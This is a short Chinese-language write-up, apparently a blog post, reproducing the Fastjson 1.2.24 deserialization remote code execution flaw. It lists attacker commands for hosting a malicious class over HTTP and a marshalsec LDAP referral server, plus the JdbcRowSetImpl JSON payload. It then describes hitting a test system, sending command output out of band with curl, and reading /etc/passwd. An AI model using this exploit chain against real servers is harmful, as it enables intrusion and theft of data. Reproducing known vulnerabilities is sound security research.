FastJson漏洞复现测试

##0x01利用过程:
fastjson是一个java编写的高性能功能非常完善的JSON库,应用范围非常广,在github上star数都超过8k,在2017年3月15日,fastjson官方主动爆出fastjson在1.2.24及之前版本存在远程代码执行高危安全漏洞。攻击者可以通过此漏洞远程执行恶意代码来入侵服务器。本文复现了FastJson反序列化漏洞的相关利用过程。

###1. 首先在攻击Server上启动一个Http服务,目录下放置恶意class文件
python -m SimpleHTTPServer 8080

###2. 其次再启动一个LDAP服务,其中Exploit对应为恶意class文件名,ip需要修改为攻击Server公网IP,Port为http端口
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://ip:port/\#Exploit

##3. 通过POC进行攻击
{“@type”:”com.sun.rowset.JdbcRowSetImpl”,”dataSourceName”:”ldap://0.0.0.0:1389/Exploit”,”autoCommit”:true}

##0x02实战复现:
本次实战复现以业务测试系统为目标。已知目标JDK版本为JDK_8U131,Fastjson<1.2.24具体版本未知。

###1. 提供一个LDAP的Server

###2. 提供一个Web接口,并将Exploit.java编译为Exploit.class
Exploit.java(将命令执行结果16进制编码,通过CURL带外):

###3. 提交POST的EXP,Content-Type设置为 Content-Type: application/json

###4. 成功加载恶意类。收到16进制编码后的命令执行结果



成功读取到/etc/passwd